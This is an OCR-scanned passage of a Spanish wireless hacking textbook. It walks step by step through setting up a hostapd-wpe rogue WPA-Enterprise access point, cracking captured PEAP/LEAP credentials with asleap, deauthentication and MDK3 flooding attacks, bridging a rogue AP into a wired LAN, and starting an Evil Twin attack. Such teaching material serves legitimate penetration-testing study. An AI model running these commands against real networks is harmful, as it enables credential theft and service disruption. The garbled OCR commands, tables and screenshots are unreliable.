< RADIUS Access Success —




Hacking & cracking - Redes inalambricas wifi
Luis Angulo Aguirre

2. LEAP y EAP-MDS5 estan en desuso porgue son susceptibles a los atagues
de fuerza bruta y de diccionario, y no validan el certificado del servidor

de autenticacion.

b. LEAP se basa en MS-CHAPv2, un protocolo de desafio-respuesta que trans-
mite los datos de autenticacion en texto claro, lo que permite a un atacante
recuperarlo y lanzar un atague de fuerza bruta para obtener las credenciales.

< EAP-MDS5 también es vulnerable al ataque de diccionario sin conexiéon y a
los de fuerza bruta.

d. EAP-TLS es el protacolo original de autenticacidn estandar de WPA-Enterprise
y es seguro porque depende de Transport Layer Security (TLS). Ademas del
certificado del lado del servidor, TLS también requiere la validacion del certi-
ficado del lado del cliente v, por lo tanto, la implementacién de una PKI (Public
Key Infrastructure «Infraestructura de clave publica») por parte de la organiza-
cién para administrar los certificados de los usuarios.

Esto ha impedido que EAP-TLS se generalice en las instalaciones de
WPA-Enterprise, dejando espacio para la adopcién de EAP-FAST, EAP-TTLS ,
sobre todo, PEAP; pues estos no obligan a verificar el certificado del cliente, pero
siguen siendo seguros ya gue se basan en TLS.

De hecho, estos protocolos hacen uso de un tdnel TLS que encapsula un proto-
colo de autenticacién interno. Por ejemplo, en la implementacion de Microsoft
Windows, PEAP usa MS-CHAPv2 como LEAP, pero encapsulado en el tdnel TLS.

La siguiente tabla resume los tipos de autenticacion EAP y sus princi-
pales caracteristicas:

EAP-MD5  EAP-LEAP EAP-TLS EAP-TTLS PEAP
Autenhc;auon Ninguna aeH de, Certificado | Certificado Certificado
deliserymar o) 0P egniiasele oy ol S T T e T e
Autenticacion | Hash de Hash de } MSCHAP(vZ),
deiciente | contraseria | contraserin | ST | papcrap |
ok i Eacil Diici Dific Moderado | Moderado
R R 1T e S L pe e et st e U e e 3 e R T e T
Seguridad | Inseguro  |Inseguro  |Seguro  |Seguro | Seguro

En las siguientes secciones, vera ejemplos practicos de ataques contra un
WPA-Enterprise.
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il 821 Configurar una red \WPA-Enterprise

Para ver como funcionan los ataques en la practica, tendr gue conhgurar su AP
para usar WPA-Enterprise v configurar un servidor RADIUS.

Dado que muchos AP de consumo no son compatibles con WPA-Enterprise v la
configuracion de un servidor RADIUS es una operacién tediosa, una solucion prac-
tica es instalar hostapd-wpe (hostapd Wireless Pwnage Edition), que es un parche
para la herramienta hostpad version 2.2, que le permite crear un AP virtual fuera
de una interfaz inaldmbrica.

Hostapd-wpe, desarrollado por Joshua Wright (el autor de Cowpatty v otras herra-
mientas de seguridad inaldmbricas) y Brad Antoniewicz, viene con un servidor
FreeRADIUS-WPE incluido, un parche para el servidor FreeRADIUS que simpli-
fica enormemente su configuracion.

Hostap,d—wpe reemplazo recientemente el mismo proyecto FreeRADIUS-WPE.
No esta preinstalado en Kali Linux, por lo que debe descargarlo e instalarlo.

Para configurar un AP virtual habilitado para WPA-Enterprise, ejecute los
siguientes pasos:

1. Instale las bibliotecas necesarias:
apt-get update; apt-get install libssl-dev libnl-dev

La ultima versidn de hostapd es la 2.6 pero tiene que descargar e instalar
la version 2.2 ya gue el parche hostapd-wpe solo es compatible con esta
v_ersic')n (en el momento de escribir este libro). Descargue hostapd con el
siguiente comando:

wget http://wl.fi/releases/hostapd-2.2.tar.gz

hostapd latest versions; 2.6, 2.5, 2.4, 2.3, 2.1, 2.0, 1,1, 1.0, 0.7.3, 0.6.10
hostapd architectures: amde4, i386, 486, 1586, 1686, x86_64

2. Descargue el parche hostapd-wpe de su repositorio Git:

git clone https://github.com/OpenSecurityResea rch/hostapd-wpe




178

Luis Angulo Aguirre

Modified hcstapd to facilitate AP impersonation attacks

1516 commits 1 oranch
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0 releases i3 4 conuibutors

el e S = =1

e A I T AT T

Bronch: master = | [

W certs wital commit

. brad-anten Marge pull request #4 from Ragdham/mechapyd-domain

TR Cione o downiasd |

Clone with HTTRS. &)
Uze Git of chackout with SVN usirg the wab URL,

nttosi//glthua. con/dgensecurityResearcn/ &l !

[E| README

hestapd-wpe gateh updated to work with hastapd-26 (latest reled

Fix chalienge_hash when user starts with ' gomainy’

Opmomin m
.. I——

[ hostapd-wpe.paich

3. Extraiga el archivo hostapd.tar y muévalo al directorio extraido:

tar -xzf hostapd-2.2.tar.gz; cd hostapd-2.2

4. Ahora, tiene que aplicar el parche hostapd-wpe:
patch -pl <../hostapd-wpe/hostapd-wpe.patch
5 Muévase al directorio hostapd y compile:

cd hostapd; make

6. Una vez compilado, muévase al directorio de certificados vy ejecute el script
bootstrap para generar certificados autofirmados:

../s./hostapd-wpe/certs; ./bootstrap

7 Antes de ejecutar hostapd-wpe, debe editar su archivo de configuracion hosta-
pd-wpe.conf ubicado en el directorio hostapd-2.2 / hostapd. Debe colocar
interface = wiane €N la seccion #Interface, comentar la linea driver = wired €N
la seccion #Driver y descomentar las opciones 802,11, especificando el SSID

que quiere que use el AP.

L A4

Lo o e s e DESTENTEE A il
[§ mec-eemusemmmmmaesaebosiasenmesmemeasesseosssine &
4 i
e Configuration tile for hostapd-wpe

0

5 Goneral Options - Likely to need to be changed if you'rn uzing this

 Tntarface - Probably whan0 for 862,11, ethd Yor wired
interfacesland

# Driver - commsnt this out if 302,11
adriversuired

4 flay hsve to changs these depanding on build lecation
mup_usar_fileshostapd wpe.eap_user

lea_cart=. /., fhostapd=wpe/certs/ca. pan

|sarwar_varts, . /.. /hostapd-wps/certs/sarver. pem
|private_key=../../hostapd-wps/carts/sarver. pam
Iprivate | key passwdswhatevar

dh_files. /.. /Mostapd -upe/certs/dh

a B02.11 Options - Uncomsant all if 802,11
53 dd=hos tapd-upa

e_mode=g

channat=1
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3. Una vez que guardé el archivo de configuracion, puede ejecutar el programa
usando el siguiente comando:

/hostapd-wpe hostapd-wpe.conf

0 822 Ataques dirigidos al EAP

Para realizar un atague contra el EAP, ejecute los siguientes pasos:

1. Capture el handshake del EAP usando airodump-ng, de la misma manera que
ha visto en el Ultimo capitulo, para capturar un handshake de cuatro vias WPA:

airodump-ng --channel <nr> --bssid <AP_MAC_ADDR> --write eap_crack mon®

2. Para atacar una implementacién del EAP especifica, debe determinar el tipo
de EAP en uso. Airodump-ng no le especifica el tipo de EAP, por lo que debe
analizar la captura de paquetes de handshake del EAP con una herramienta
de andlisis de paquetes como Wireshark.

Paraejecutarlo, vayaal mend de la aplicacion KaliLinux > Sniffing > Spoofing > Sniffers
de red > Wireshark.

3. Abra su archivo de captura y deberia ver una ventana como en la siguiente
captura de pantalla:

ll-l‘luh-uwmn.u-pdumwnmmm

..",'l"'-.' j_\\nﬂ_ i([ﬂﬂ|_.

n eI Teshwicn cAFNaTHAL  BOLIL W Ackwowledgensnt, Flagss...

A TAATY QunniaMi 08546 Agurwve bl 400 BAP 445 Huspo oy, [ihontily

[ Apuantahl | |adci (HAL  BORIL 10 Aokonswiedgement. Flagss .

¢ AP Huantadli | ofGes Asureway_bbl 06 EAP 45 Respoties, Ldentity |
o v e e R

o IRER tan m-u-m..m-.._
©URER 9041, irshons LAN manugoment e

TRy F T E TP R — .
() e e el by 14 006 400 TF B i 06 AT VDR Wb R A

9020 64 00 11 0 00 0k 68 67 73 T4 0070 A4 21T ol bk upidwg

[ 65 010 0B K2 B4 $h 99 s 12 18 24 00 D4 DL OG04 W B

g (3 002 00 0 2 00 00 53 04 846 60 e dd 1p e g 0IT L.

mlmummmtnmunmwmwumm PP B

o o P i e i e 3 sk B inlagits o D0 Lomi e S GeF (ool
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4. Filtre los paquetes con la expresion EAP, para mostrar solo aguellos que
le interesan:

LR R

Ehont 1“' T

[ wms

W TAm Qusntabli_1e864
LR Asyrawoy bl 40
10 7A9TU8 Wl D _ LSRG

19 750NTL Amireway_ el 46 l
13 AN Amurewny bl 4bd QuantaMi 10540 TLSv1 1441 Berver Hello, CortificateMal
| ST L S EREE S S AR TR T 3.}
m—-mam—--mmmqmmudtllw
TR W21 Butu, Fliggs vl

Loglesl-Link Contrul
- 21K Authendivation
ik b 0t 80 00 1o b du bh TADG00 1704 10 00 @ K. F
0010 Le 4l o o 14 00 w) T am s 03 00 00 00 B8 He K]
000 01 1) 00 O Ot 2000 On 0L G 01 T2 63 0F L

(21 o i T [ W 4 Gt W15l i i Sk L

5. Desplazandose por el panel de listado de paguetes, verd los paquetes de
enlace de EAP en la columna de informacion, como se muestra en la siguiente
captura de pantalla:

i ’J Gipaiibe B B
| et llm }{e PN o e S i
11 Mg ©ip Wi S, Enorygited Wandabahe $5

43 Howpo nse Ppotected EAP (BAP-FEAIT

Amurewny_bbil 400 Ml'

Agurewny_binl L0 Qund mnbLi_ | BSSo08 TLEVE 118 Applivation Dats, Application Daty
QuamtaMi_ 198G Asureway_bbil g TLSvE 8 Applieatlon Dain
Iben ddiet JUE R TLEVE 1 Application Nota, Applicstian Datn
QuwmtaMil 1 9:KG4 Axureway i) 406 ThEeE 148 Appelieation Dats
s00.1X Aulhentication
Verslon: Nt EX 0004 (2 |
Type: RAP Packet (1)
Lumgth: 66 il
Extensibils Autheniioatkin Protecel |
Code: Request (1) 1
Adi i
Lomgt b
Typws Protested BEAP (EAP-PEAF) (35 5

EABTLY Flyger (hiv)__ - se————
(] Ko -mu-mi -wn ke Ulll\-r-‘ mm*m mlwwﬂ'-ﬁm +_ Prabls: Onfauk

6. Después de haber descubierto el tipo de EAP, ahora puede proceder con
el ataque. Si el servidor de autenticacién usa LEAP o EAP-MD5, entonces
puede usar dos herramientas que implementan estos atagues respectivamente:
asleap y eapmd5pass, ambos desarrollados por Joshua Wright.

Para usar asleap, debe generar una tabla hash a partir de un archivo de diccio-
nario utilizando la herramienta genkeys:

genkeys -r wordlist.txt -f wordlist.hash -n wordlist.idx

A continuacién, pase la tabla hash junto con el archivo de captura a asteap:

Ataque al AP vy a la infraestructura

Capitulo 8

asleap -r eap_crack-8l.cap -f wordlist.hash -n wordlist.idx

Eapmd5pass funciona de manera similar, tomando el archivo de captura y un

archivo de diccionario como parametros de entrada.

EAP-TLS puede ser vulnerable solo si el atacante posee |a clave privada del cliente
y, por lo tanto, la suplanta hacia el servidor de autenticacion.

PEA_P y EAP-TTLS pueden ser atacados si el cliente no valida el certificado del
servidor de autenticacion. El atacante podria configurar un AP falso e imitar al
legitimo, rompiendo el tdnel encriptado TLS y permitiéndole atacar el protocolo

de autenticacion interno.

En la siguiente subseccion, se usard PEAP como ejemplo, ya que es el tipo de

EAP mas comun.
a. Atacando al PEAP

Para este ejemplo, se uftiliza una maquina cliente con Windows que admite

PEAP con MS-CHAPv2 de forma predeterminada.

1. Para conectarse a su AP virtual creado previamente, debe agregar manual-

mente una conexion inalambrica en

Panel de control > Redes e Internet > Centro de redes y recursos compar-

tidos > Administre redes inalambricas.

Seleccione Manually create a network profile (Crear manualmente un
perfil de red); luego, introduzca el SSID de su AP (hostapd-wpe) como el
nombre de la red y seleccione WPA-Enterprise como el tipo de seguridad.

TN (e
: 11 TN FE
o AT Wianually esnnect 3a 8 wislnss network ! ‘T

Emer information for the wireless network you want ta add

Hitbarosd, nams haitepd: wpa
Sacatty type R
Encryption type [ags A= k!

Secwity Koy Pesgihrase:

[ 53 this ¢onnection subonsatically

Comrest evan if the natwork o mot becadcesting
Warning I you select this belion, your computar's privacy right be s rak
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2. En la ventana siguiente, haga clic en la opcién Change connection (Cambiar 6. Conecte el cliente de Windows a la red hostapd-wpe v se le pedira intro-
conexion); luego, en la pestafia Seguridad y en Configuracion... ducir un nombre de usuario y una contrasefia. En este caso, puede dar

i o cualquier credencial gue guiera, solo para demostrar el atague. La contra-

Wtad-ape Wivkes Nt frecr L% W)

| e sefia agui es «my_eap_passwordy.
e — [ Enter Crecentali 7 )

| oewmenee (a8 B

|| Cviese proteet wiwrncatir eved:

Mt S ) =] e

| gy Cow s lormaton b mbwiuent mecEne
= e rwinort

{
|
{

| q User nane;,  Marc
! |
!
|

Paspward. 7;;illll;ll;l;;li o I

e b

— e

|
3. Desmarque la opcion Validate server certificate (Validar certificado del I i
servidor) para desactivar la validacion del certificado del servidor por parte L i ——— s il
del cliente.

7. Enlos registros de la ventana del terminal hostapd-wpe, puede observar
o TR este intento de autenticacion, con el desafio v la respuesta del proto-
e f colo MSCHAPv2,

| et e o s
Somakee s Sl et @l L

Lo | e

4. Deje EAP-MSCHAPv2 como método de autenticacion, haga clic en el
botén Configurar... y, luego, desmarque la opcién Windows domain logon

o i e - o ) 8. Esto estodo lo que necesita para lanzar un atague de diccionario si :
authentication (Autenticacion de inicio de sesion del dominio de Windows). d P d NEUGEITaone

xién con asleap, pasando el desafio y la respuesta al programa con las

5. A continuacion, inicie hostapd-wpe en la maquina Kali Linux con el opciones -c y -r, respectivamente:
siguiente comando: asleap -C ld:cci5d:7c:bai7fic3:dec -R f0:4d:32:1a:8e:c@:44:1leiel: fa: O7: e0:
cB:

hostapd-wpe hostapd-wpe.conf
6c: a3: 23: Bd: 3b: 96: 52: 55: b2: 5d: 73 -W wordlist.txt

Como observa, este comando inicia un AP con hostapd-wpe como el SSID.
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T G e e

|
Lii-# 8d:7c b 71 c3; de <R 10:4d:32;La;Be: <0144
¥ ”"ii"::.,‘;a & o4 cmm'ﬁ aun;sm +b2:50473 -W wordlist.txt i
leap 2.2 - actively recover LEAF/PPTP passwords. ".lb‘l’iihtm"! con i
s sing wordlist rmode with “wordiist txt”. I
hash bytes: |
I NT hash: 520481A021465396516A2603E5 103648 |
password: u"_ sap_password ‘
rootaical Ly~ .

. @ s Ataques de denegacion de servicio i

) ! Las redes inaldmbricas pueden estar sujetas a ataques DoS (Denial of Service,
«Denegacion de servicion) que se dirigen tanto a los clientes como a los AP,

. 1 Este tipo de ataque se puede realizar mediante el envio continuo de paguetes
T de desautenticacion de broadcast para forzar la desconexion y evitar que los
_ clientes se vuelvan a conectar.

Una herramienta para realizar esta tarea es aireplay-ng y el comando es el siguiente:

aireplay-ng --deauth @ -a BO:4E:26:1E:F6:36 mon0@

ris Lol el Ly
¢ 1) 1<# airep’ -‘llm G -a 08:7A:4C:83:0C:EQ mon
i’?m' o7 b B i (BSSID: 08:7A:4C:83:8C:E0) on enm-

nn tm-mumm\nmwmw

mhdwuluwmeucg hrndmt-: S i 'mn- [.:?Axltrﬁ:l!.‘lﬂ]

:11:40 Sending DeAuth to broadcast -- BSSID: mmzmmmm‘
Sending Deduth to broadcast -- nsm [08:7A:4C:83:0C:ED}
sery f Bt g'l::ge;‘g?ogm
‘Sending DeAuth to broadcast -- BSSID: Mﬂx“ﬂﬁ:iﬁ:.}'
Sending DeAuth to broadcast -- BSSID: [88:7A:4C:B3:0C:E0]
Sending DeAuth to -~ BSSID: [68:7A:4C:183:0C:E0) T

~ Sending DeAuth u.m - BSSID: [@8:7A:4C:B3:08C:E0]
Sending DeAuth to broadcast -- BSSID: (08:7A:4C:83:6C:E0) |
e ot 1 et B AR
_muu.m:::mt BSSID: [08:7A:4C:B3:0C:E0] g

. Iltlm !Ol.?l!h: :83:0C:E0)

En este comando, la opcion a significa enviar paquetes de desautenticacion conti-
nuamente y solo se especifica la direccién MAC del AP con la opcion -a. También
podria orientarse a clientes inalambricos individuales, como verd en el capitulo 9
«Ataques a clientes inalambricosy.
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En la siguiente subseccion, se analizaré otra herramienta para realizar DoS contra
redes inalambricas, la herramienta MDK3.

1531 Ataques DoS con MDK3

MDK3 admite los siguientes modos para realizar ataques DoS contra la
red inaldmbrica:

+ El modo de inundacion de beacon (SSID).
+ Autenticacion DoS.
+ Modo de desautenticacion / disasociacion (Amok).

En el modo de flooding beacon, MDK3 envia una avalancha de tramas beacon,
anunciando AP falsos. Este método no esta disefiado principalmente para los
atagues DoS, pero a veces puede causar que los escaneres de red y los contro-
ladores de los adaptadores inaldmbricos se bloqueen, con el resultado de evitar
que los clientes se conecten a la red. Ademds, puede ocultar los AP legitimos
entre la multitud de AP falsos, eventualmente con SSID muy similares, lo que difi-
culta que los clientes identifiquen las redes legitimas a las que desean conectarse.

Para usar MDKS3, primero tiene que poner su interfaz inaldmbrica en modo
monitor, con el comando

airmon-ng start wlan®

Para ejecutar el ataque floading beacon (inundacion de beacon), ejecute el
siguiente comando:

mdk3 mon® b -f SSIDs

Donde:

b €s para el modo de inundacion de beacon.
-f especifica un archivo que contiene una lista de nombres de SSID que se utilizan
para los AP. Si no se especifica la opcién -+, en su lugar se usan SSID aleatorios.

Si quiere usar un canal especifico, necesita usar la opcién -

\\‘ |
m' ”[

lﬁ
I |

il ” \‘I }
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Goannal 8 with S31D: FaneAr.oows21
Channsl 12 with $SID; FakeAP-023561
SR e
Channsl 2 with SSID: FakeAP-567803
Channsl 6 with SSID: FakeAP.355982
Charnal 4 with SSIO: Fukehe-745634 |

n Channel 18 with SSID: Fakehr 561093
e T ar. o T |
Orarmt. 3mnmfuwm '
packets/se :

L

El modo de flooding (inundacién) de autenticacion implica enviar muchas solici-
tudes de autenticacién al AP, que podria no ser capaz de manejarlas y, por lo tanto,
congelarse. Esto no siempre funciona y puede requerir mas de una instancia de
ejecucion de MDK3 para gue este ataque tenga éxito.

En este caso, la sintaxis del comando es simple como el siguiente comando:
mdk3 mon@ a -a BO:4E:26:1E:F6:36

Donde:

2 representa el modo de inundacion de autenticacion.

-a especifica la direccion MAC del AP objetivo:

(B Bt Pibs pek Ij

[OotEatii# mik3 mond & -8 08:TA:4C:83;0C:E0

b 08:7A:4C:83:0C:60 is rasponding!
: ‘_ﬁ:mmmngr;:&m %
i - f

v:,.a ﬁu& nlm, i “1:. 1000 tmimet'ut
1 TA:4C:83; seems to be TNVULNERABLE

vice is still responding with 1500 clisnts connected!
0B:7A1AC:B3:0C1EA seems to be INVULNERABLE!

ice is still re ith

SR b |
Davice is muﬂzmﬂm ding with 3000 clisnts connscted!
AP 08:7A:4C:83:00 60 seems to be INVULNERABLE! i

_cl

Note que el objetivo AP no parece ser vulnerable a este metodo de ataque.

El método més efectivo para los ataques DoS es el modo de desautentication /
disassociation (Amok) que envia tramas de desautenticacion para desconectar
los clientes del AP. Para realizar este atague con MDK3, primero guarde la
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direccion MAC de su AP de destino en un archivo de lista negra. Luego, ejecute
el siguiente comando:

mdk3 mon® d -b blacklist_file
Donde:

4 es obviamente para el modo de desautentication / disassociation.
-h especifica el archivo de la lista negra que se utilizara, que aqui contiene solo
un AP objetivo:

@I : : AP no autorizados TN

Hasta ahora, se vieron los ataques no autenticados contra las redes inaldmbricas
para crackear las claves WEP o WPA, ataques WPA-Enterprise, recuperar el PIN
de WPS y obtener acceso a dichas redes.

En esta seccidn, se analizard un atague que supone que el atacante (interno o
externo) controla una maquina ya conectada a la LAN cableada: AP no autorizados.

De hecho, un AP no autorizado es un AP instalado en una LAN sin autorizacion
y puede ser utilizado por un atacante como una puerta trasera a la red.

Un AP no autorizado puede instalarse fisicamente o mediante software (soft AP).
La instalacién de un AP fisico implica romper las politicas de seguridad fisica de
la red y puede identificarse mas facilmente. Va a ver como instalar un soft AP no
autorizado y cémo conectarlo a la LAN cableada.

Podria lograr esta tarea con hostapd-wpe, pero aqui se usa una herramienta de
la suite Aircrack-ng, la herramienta airbase-ng.
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Ponga su interfaz inalambrica en modo monitor con airmon-ng y ejecute el
siguiente comando:

airbase-ng --essid Rogue-AP -c 1 mon®

N T
i gl = todab
IrocIgiReLiz-# -

[22:38:26 Created tap

|22:38:28 T | on atd to
|72:38:26 "‘"nﬁ‘é

Note que se cred una interfaz de tap (toque) at0. Para poder comunicarse, debe
crear un puente entre el AP no autorizado v la red cableada, por lo tanto, entre
las interfaces atQ y Ethernet (ethOQ).

Para este proposito, instale las utilidades bridge-utils:
apt-get install bridge-utils

Cree la interfaz del puente con el nombre bridge-if:
bretl addbr bridge-if

Luego, conecte las interfaces atO y ethO a bridge-if:
bretl addif bridge-if ethe; bretl addif bridge-if ate

Ejecute las interfaces con los siguientes comandos:
ifconfig eth@ 0.0.0.0 arribaj ifconfig at® 0.0.0.0 up

También necesita habilitar el reenvio de IP a nivel de kernel, porque el AP no
autorizado a

sysctl -w net.ipv4.ip_forward =
De lo contrario, ejecute el siguiente comando, gue tiene el mismo efecto:

echo 1> / proc / sys / net / dipv4 / ip_forward
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Cuando un cliente se conecta al AP no autorizado, airbase-ng lo muestra en
su registro:

L

fvl- [ M-«;

;M- -to-JJ a_m,
| o :u!imz-uurnumn-nlum_ e
assTp PR BRI Beacons  abata, 473 (B MR CHC
BCHCHSIENDD 00 W A5 6 1 S
}{r;ngumuan ICABDERE; 1608 20 DA o

|
i
|
|
e G T DR I RS .“Er R

El tipo de autenticacién esta abierto, por lo tanto, sin autenticacién y sin encrip-
tacion, ya gue un AP no autorizado generalmente se configura de manera
predeterminada. Esto puede hacer que el AP sea faciimente detectable, ya que

una red inalambrica abierta captura inmediatamente la atencion de un probador
de penetracion o del administrador de la red.

EI AP no autorizado también se puede configurar para usar WEP o WPA / WPA2.
Por ejemplo, para ejecutar el AP con WPA2-CCMP, ejecute el siguiente comando:

airbase-ng --esser Rogue-AP -c¢ 1 -Z 4 mon®

Donde -z es para WPAZ2 (-z para WPA) vy el valor 4 es para CCMP.
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En la siguiente captura de pantalla, puede ver la salida de airodump-ng:

T

| gl ~ et < roceghak - ]

|
O L [ Elapand: 8 8 )[ 2015-04-28 23:27 :
| mssI0 PWR RXQ Bescons  #Dats, #/3 (N MR ENC CIPWER AUTH ESSTD .
| ob:co:cAs9:E3Be BaBD  am 0 0 1 54 WPA2 CCNP  PSK Rogue-AP i
[ ‘nsszo STATION PR Rate  Lost  Fromes Probe |

o ‘

|
|
|
|
{

'

.
|
.
|
i
|
|
i

También puede iniciar un AP no autorizado oculto ejecutando airbase-ng con la
opcidn -x en lugar de la opcion -essia:

airbase-ng -X -c 1 mon@

Los AP no autorizados suponen una amenaza grave para la seguridad de la red
porque permiten el acceso no autorizado a la red, evitando los sistemas de segu-
ridad como firewalls e IDS. De hecho, el atacante que se conecta a un AP no
autorizado puede lanzar ataques contra la red local, los servidores y los clientes
conectados. Un atacante también puede crear un AP no autorizado para hacerse
pasar por un AP legitimo vy realizar atagues Man-In-The-Middle contra clientes
inalambricos, como vera en el préoximo capitulo.

85 Atacar las credenciales
de autenticacion del AP

Los routers domésticos y los AP proporcionan un panel de administracion web
para configurar los dispositivos que generalmente no son accesibles desde
Internet, sino solo desde la red local.

Un aspecto de seguridad que puede ser crucial, pero que a menudo no se
considera lo suficientemente importante, son las credenciales de autentica-

cion predeterminadas.

Es una practica comdn no cambiar los nombres de usuario y contrasenas prede-
terminados para acceder a la interfaz de administracion de AP, y muchos modelos
vienen preconfigurados con las insignificantes credenciales, como admin / admin.
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En la Web, hay disponibles listas de modelos de APy routers con las credenciales
relativas predeterminadas. Incluso cuando se modifican las credenciales prede-
terminadas, a menudo se eligen contrasefas débiles,

Este es un grave problema de seguridad porque si un atacante toma el control del
AP, puede poner en peligro toda la red realizando ataques Man-In-The-Middle en
la red, olfateando el tréfico, cambiando la configuracion DNS vy lanzando ataques
de pharming y phishing. '

Una herramienta que se puede usar para descifrar las credenciales de autent-
cacion HTTP es hydra, una herramienta de descifrade de contrasefas en linea
que admite varios protocolos. También hay una GUI para el programa, hydra-gtk.
Amboaos vienen instalados en Kali Linux.

Hydra toma como entradas un nombre de usuario o una lista de nombres de
usuario y una lista de contrasefias e intenta todas sus combinaciones posibles
contra el objetivo especificado.

Para obtener mas informacién sobre Hydra y como usarla para descifrar las
contrasenas, consulte la pagina del manual y el sitio web del proyecto https://
www.thc.org/thc-hydra/.

En los ultimos afos, se han desarrollado atagues que permiten el acceso al panel
de administracion del router / AP incluso desde Internet. Un ejemplo de esto es
el atague DNS Rebinding, donde un atacante abusa del DNS para que sirva el
script malicioso del lado del cliente del navegador de la victima a la que se dirige
la red interna. Por lo tanto, el navegador actua para el atacante como un proxy
' interno para atacar y tomar el control del router / AP. Este tipo de ataque se ha
generalizado en los Ultimos afios.

Una herramienta que aplica el atague DNS rebinding se llama rebind, escrito
por Craig Heffner e incluido en Kali Linux. Se puede encontrar més informacién
al respecto en la pagina web del programa https://code.google.com/p/rebind/.
Para conocer los detalles del ataque, lea el informe técnico de Heffner «Ataques
remotos contra los routers SOHO», https://media.blackhat.com/bh-us-10/
whitepapers/Heffner/BlackHat-USA-2010-Heffner-How-to-Hack -Millions-Of-
routers-wp.pdf.
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Capitulo g

Ataque a clientes
inalambricos

SN Resumen VREBSSHINED

En este capitulo, se analizd los ataques contra los AP y la red (en particular aquellos
contra WPS y WPA-Enterprise), cémo configurar un ataque de AP no autorizado,
los ataques DoS v los ataques de autenticacion del AP.

En el siguiente capftulo, ver4 los ataques dirigidos a los clientes inalambricos, como
Honeypot vy Evil Twin AP, los ataques Caffe Latte y Hirte, los atagues Man-In-
The-Middle y la desautenticacion del cliente.

Hasta ahora, se vieron los atagues contra los protocolos WEP y WPA / WPA2, los
APy la infraestructura de red. En este capitulo, se trataran los ataques dirigidos
a los clientes, ya sea que estén conectados o no a una red wifi.

En este capitulo se trataran los siguientes ataques:

+ Ataque Honeypot y ataque Evil Twin.
+« Atague Man-In-The-Middle.
« Ataque Caffe Latte.

Ataque Hirte.

« Cracking de claves WPA sin el AP.

@ o1 Ataque Honeypot y ataque Evil Twin JilD

En el capitulo anterior, vio cémo configurar un AP no autorizado, que es parte “M
de la red cableada local. Un atacante también puede configurar un AP falso que |N“|W |\ m
parece ser legitimo para el cliente, pero que no est4 conectado a la red local. " |

Este tipo de AP se llama AP Honeypot porque atrae a los clientes a asociarse “||“| ||
con €l. Un AP Honeypot, que se hace pasar por uno genuino aprovechando su ‘“ VUl

proximidad, se puede utilizar para llevar a cabo el llamado ataque Evil Twin. De ‘||||
hecho, el AP Honeypot falsifica el SSID (y, finalmente, la direccion MAC) del AP “ I| hr
real, publicandolo en las tramas de beacon que envia. El sistema operativo de un m ||" |ﬂ
Il

UU |
|‘
I
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cliente inaldmbrico normalmente realiza un seguimiento de las redes a las que el Una vez que seleccions el AP objetivo que quiere suplantar, configure su AP
cliente ya se ha conectado en el pasado. Puede configurar el cliente para conec- Honeypot con el mismo SSID, ejecutando airbase-ng en una r,1ueva ventana de
tarse automaticamente a dichas redes cuando esta dentro de su rango y la sefal emulador de terminal: ' ":“i
es lo suficientemente fuerte. Entonces, si el AP falso estd mas cerca del cliente _ I
| que el legitimo v, por lo tanto, su sefial es més fuerte, el primero gana al segundo #irhase-ng: --essid InfostradaliiFi-2ar198 -c 1 nong il

y el cliente se canecta con él. Recuerde que la opcion --essid define el SSID de su AP, y la opcién -c el canal
que usa. il

‘ No hay forma de que el cliente autentifique el AP, porque las tramas de adminis-
| tracion 802.11 no estan firmadas criptograficamente. El uso de WEP o WPA-PSK

sirve para autenticar al cliente y cifrar los datos intercambiados después de la e e | ||il‘!‘
asociacion, pero no autentica el servidor para el cliente. e o i

Incluso un AP habilitado para WPA-Enterprise puede ser susceptible a este
ataque, ya que los clientes suelen estar configurados para no verificar el certifi-
cado del servidor de autenticacion, como vio en el Ultimo capitulo.

Adem3s, estos certificados no estan estrechamente vinculados a los SSID de red
y un atacante puede configurar su servidor de autenticacion y presentar al cliente
un certificado que parece legitimo. Para hacerlo, el atacante podria registrar un
nombre de dominio que se asemeje al de la red objetivo y obtener un certificado

valido de |a autoridad de certificacion. En la ventana de salida airodump-ng, puede ver sus dos AP gemelos, con el
mismo SSID: '

Esta técnica también la utiliza una variante del ataque Evil Twin dirigido a redes
WPA-Enterprise, que se describe en el documento de investigacion que se puede

m
1 Bl Bt Taba Halp
encontrar en http://seclab.ccs.neu.edu/static/publications/ndss2013wpa.padf. e
o | OO I Flapsed: 34 5 10 03500022 1127 -
[Bota - - = ———— i Bssm PR Beatos  WDsta; #/s (N uE g
, El ataqug de Mul‘npot - . iopatmum oy LS A
Otra variante interesante del ataque Evil Twin es el llamado ataque Multipot. presentado »3%:33312 e § -
en la corferencia Defeon 15 en 2007 por KN, Gopinath, donde se utilizan multiples AP .ﬁ%ﬁgﬁ:ﬁ .:;v:' ﬂ 3 ! 2 }‘.‘,
de Honeypat en el ataque. El white-paper relativo y las diapositivas de la presentacion gsgggﬁﬁ: ;; - & 5 :a_z"“'
(junto con el audio y el video) estan disponibles en https://www.defcon.org/htm|/links/ bl dgaicts AREL HEE S
dc-archives /dc-15-archive.htm #Gopinath. : . ey i
..... . . o EnmL By Sily |
En la siguiente subseccion, verd como configurar un AP Honeypot y realizar un it {F

ataque Evil Twin con el paquete aircrack-ng.

Puede distinguirlos por el tipo de cifrado utilizado (el AP falso usa autenticacidn
abierta), el canal, los beacons y los paguetes de datos transmitidos, v el nivel de
potencia de la sefial (Pwr). Un valor negativo més bajo del campo Pwr significa
un nivel de sefal mas alto. El nivel de sefial del AP Honeypot deberfa ser mayor
que el del AP genuino, para atraer a los clientes a conectarse a él.

Bo11 Elataque Evil Twin en la practica

e | R

Antes de crear un AP Honeypot, asegurese de haber llevado a cabo la fase de
reconocimiento e identificacion de los AP y los clientes conectados, siguiendo
los métodos ilustrados en el capitulo 5 «Reconocimiento de redes inaldambricas».
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Si ningun cliente esté actualmente conectado al AP legftimo, debe esperar a que
los clientes se canecten al AP falso, mientras creen gue se conectan con el AP real.

Si un cliente ya esté conectado, puede obligarlo a quitar la autenticacion de la
red con la herramienta aireplay-ng:

aireplay-ng --deauth © -a B0:4E:26:1E:F6:36 -c 08: 17: C4: 19: 85:

46—ignore-negative-one mono

Este comando también se puede usar para realizar un ataque DoS contra el
cliente objetivo:

He gh ba shle
e
e e -w-m- | el —

ammah-c m -mw 0 -a 08:7A:4C:B3:0C:ED -c u-mmu

iﬂg .m' ﬁ ‘bsacon ir- (BSSID: 08:7A:40:83:0C:E0) on channe |

xmm'r Sanding 64 directed Dsduth. STHAC: [00:17:C4:19:85:46) [ 8| 0
11123138 Sending 64 directed DeAuth. STMAC: [00:17:€4:19:85:46] [ 0] ©
